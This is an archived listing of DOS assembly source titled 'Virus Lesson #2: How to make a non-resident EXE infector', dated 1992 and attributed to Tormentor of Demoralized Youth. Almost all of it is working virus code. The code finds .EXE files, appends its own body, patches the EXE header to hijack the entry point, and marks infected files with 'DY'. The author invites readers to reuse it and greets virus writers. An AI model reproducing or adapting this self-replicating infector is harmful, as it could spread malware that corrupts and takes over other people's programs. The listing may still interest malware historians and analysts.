home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / torm-358.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  3.4 KB  |  160 lines

  1. ;
  2.  
  3. ;    Virus Lession #2     'How to make a non-resident EXE infector'
  4.  
  5. ;
  6.  
  7. ;    (c) 1992 Tormentor // Demoralized Youth
  8.  
  9. ;
  10.  
  11. ;    Well, I had not time to comment this code as much as I wanted to,
  12.  
  13. ;    but here you are.
  14.  
  15. ;     What can be hard to understand is the .EXE header changes, but if
  16.  
  17. ;    you look at the description on the header (ex: Norton guide Tech. Ref)
  18.  
  19. ;    you'll understand...
  20.  
  21. ;    Anyway, feel free to use this example and if you have any questions
  22.  
  23. ;    or anything call my board: Swedish Virus Labratory +46-3191-9393
  24.  
  25. ;     
  26.  
  27. ;    Greetings to all virus-writers!
  28.  
  29. ;
  30.  
  31. ;    /Tormentor
  32.  
  33. ;
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.         .model    tiny
  42.  
  43.         .radix    16
  44.  
  45.         .code
  46.  
  47.     
  48.  
  49. Virus_Lenght    EQU    Virus_End-Virus_Start    ; Lenght of virus.
  50.  
  51.  
  52.  
  53.         org    100
  54.  
  55.  
  56.  
  57. Virus_Start:    call    where_we_are    
  58.  
  59.                     
  60.  
  61. where_we_are:    pop    si        
  62.  
  63.                     
  64.  
  65.         sub    si,where_we_are-Virus_Start
  66.  
  67.  
  68.  
  69.         mov    ax,es
  70.  
  71.         add    ax,10
  72.  
  73.         add    ax,cs:[si+Exe_header-Virus_Start+16]
  74.  
  75.         push    ax
  76.  
  77.         push    cs:[si+Exe_header-Virus_Start+14]
  78.  
  79.  
  80.  
  81.         push    ds
  82.  
  83.         push    cs
  84.  
  85.         pop    ds        
  86.  
  87.  
  88.  
  89.         mov    ah,1a
  90.  
  91.         mov    dx,offset Own_dta-Virus_Start
  92.  
  93.         add    dx,si
  94.  
  95.         int    21
  96.  
  97.  
  98.  
  99.         mov    ah,4e        ; We start to look for a *.EXE file
  100.  
  101. look4victim:    mov    dx,offset file_match-Virus_Start
  102.  
  103.         add    dx,si
  104.  
  105.         int    21        
  106.  
  107.  
  108.  
  109.         jnc    cont2
  110.  
  111.         jmp    no_victim_found ; If no *.EXE files was found.
  112.  
  113.         
  114.  
  115. cont2:        mov    ax,3d02        
  116.  
  117.         mov    dx,Own_dta-Virus_Start+1e
  118.  
  119.         add    dx,si        
  120.  
  121.         int    21        
  122.  
  123.         
  124.  
  125.         jnc    cont1
  126.  
  127.         jmp    cant_open_file    
  128.  
  129.         
  130.  
  131. cont1:        xchg    ax,bx        
  132.  
  133.         
  134.  
  135.         mov    ah,3f        
  136.  
  137.         mov    cx,1c        
  138.  
  139.         mov    dx,offset Exe_header-Virus_Start
  140.  
  141.         add    dx,si
  142.  
  143.         int    21        
  144.  
  145.         
  146.  
  147.         jc    read_error
  148.  
  149.  
  150.  
  151.         cmp    byte ptr ds:[si+Exe_header-Virus_Start],'M'
  152.  
  153.         jnz    no_exe        ; !!! Some EXEs starts with ZM !!!    
  154.  
  155.         cmp    word ptr ds:[si+Exe_header-Virus_Start+12],'DY'
  156.  
  157.         jz    infected
  158.  
  159.  
  160.  
  161.         mov    ax,4202        ; Go EOF
  162.  
  163.         xor    cx,cx        
  164.  
  165.         xor    dx,dx        
  166.  
  167.         int    21        
  168.  
  169.  
  170.  
  171.         push    dx
  172.  
  173.         push    ax
  174.  
  175.         
  176.  
  177.         mov    ah,40        ; Write virus to EOF.
  178.  
  179.         mov    cx,Virus_Lenght    
  180.  
  181.         mov    dx,si        
  182.  
  183.         int    21        
  184.  
  185.  
  186.  
  187.         mov    ax,4202        ; Get NEW filelenght.
  188.  
  189.         xor    cx,cx
  190.  
  191.         xor    dx,dx
  192.  
  193.         int    21
  194.  
  195.  
  196.  
  197.         mov    cx,200
  198.  
  199.         div    cx
  200.  
  201.         inc    ax
  202.  
  203.         mov    word ptr ds:[Exe_header-Virus_Start+2+si],dx
  204.  
  205.         mov    word ptr ds:[Exe_header-Virus_Start+4+si],ax
  206.  
  207.  
  208.  
  209.         pop    ax
  210.  
  211.         pop    dx
  212.  
  213.  
  214.  
  215.         mov    cx,10
  216.  
  217.         div    cx
  218.  
  219.         sub    ax,word ptr ds:[Exe_header-Virus_Start+8+si]
  220.  
  221.         mov    word ptr ds:[Exe_header-Virus_Start+16+si],ax
  222.  
  223.         mov    word ptr ds:[Exe_header-Virus_Start+14+si],dx
  224.  
  225.  
  226.  
  227.         mov    word ptr ds:[Exe_header-Virus_Start+12+si],'DY'
  228.  
  229.  
  230.  
  231.         mov    ax,4200        ; Position file-pointer to begin of file
  232.  
  233.         xor    cx,cx        
  234.  
  235.         xor    dx,dx        
  236.  
  237.         int    21        
  238.  
  239.  
  240.  
  241.         mov    ah,40        ; Write header
  242.  
  243.         mov    cx,1c
  244.  
  245.         mov    dx,offset Exe_header-Virus_Start
  246.  
  247.         add    dx,si
  248.  
  249.         int    21        
  250.  
  251.         
  252.  
  253.         jc    write_error
  254.  
  255.  
  256.  
  257. no_exe:
  258.  
  259. infected:
  260.  
  261.         mov    ah,3e        
  262.  
  263.         int    21        
  264.  
  265.  
  266.  
  267. Sick_or_EXE:    mov    ah,4f        
  268.  
  269.         jmp    look4victim    
  270.  
  271.  
  272.  
  273. write_error:        ; Here you can test whats went wrong.
  274.  
  275. read_error:        ; This is just for debugging purpose.
  276.  
  277. cant_open_file:        ; These entries are equal to eachother
  278.  
  279. no_victim_found:    ; but could be changed if you need to test something.
  280.  
  281.                     
  282.  
  283.         pop    ds
  284.  
  285.         retf
  286.  
  287.  
  288.  
  289. file_match    db    '*.EXE',0    ; Pattern to search for.
  290.  
  291.                     ; Don't forget to end with 0 !
  292.  
  293.  
  294.  
  295. Exe_header    db    16 DUP(0)
  296.  
  297.         dw    0fff0        ; Adjustment just for this COM-file.        
  298.  
  299.         db    4  DUP(0)
  300.  
  301.  
  302.  
  303. notes        db    '(c) 1992 Tormentor / Demoralized Youth ',0a,0d
  304.  
  305.         db    'Rather first in hell, than second in heaven.'
  306.  
  307.  
  308.  
  309. Own_Dta        db    02bh DUP(0)
  310.  
  311.  
  312.  
  313. Virus_End    EQU    $    
  314.  
  315.  
  316.  
  317.         end    Virus_Start
  318.  
  319.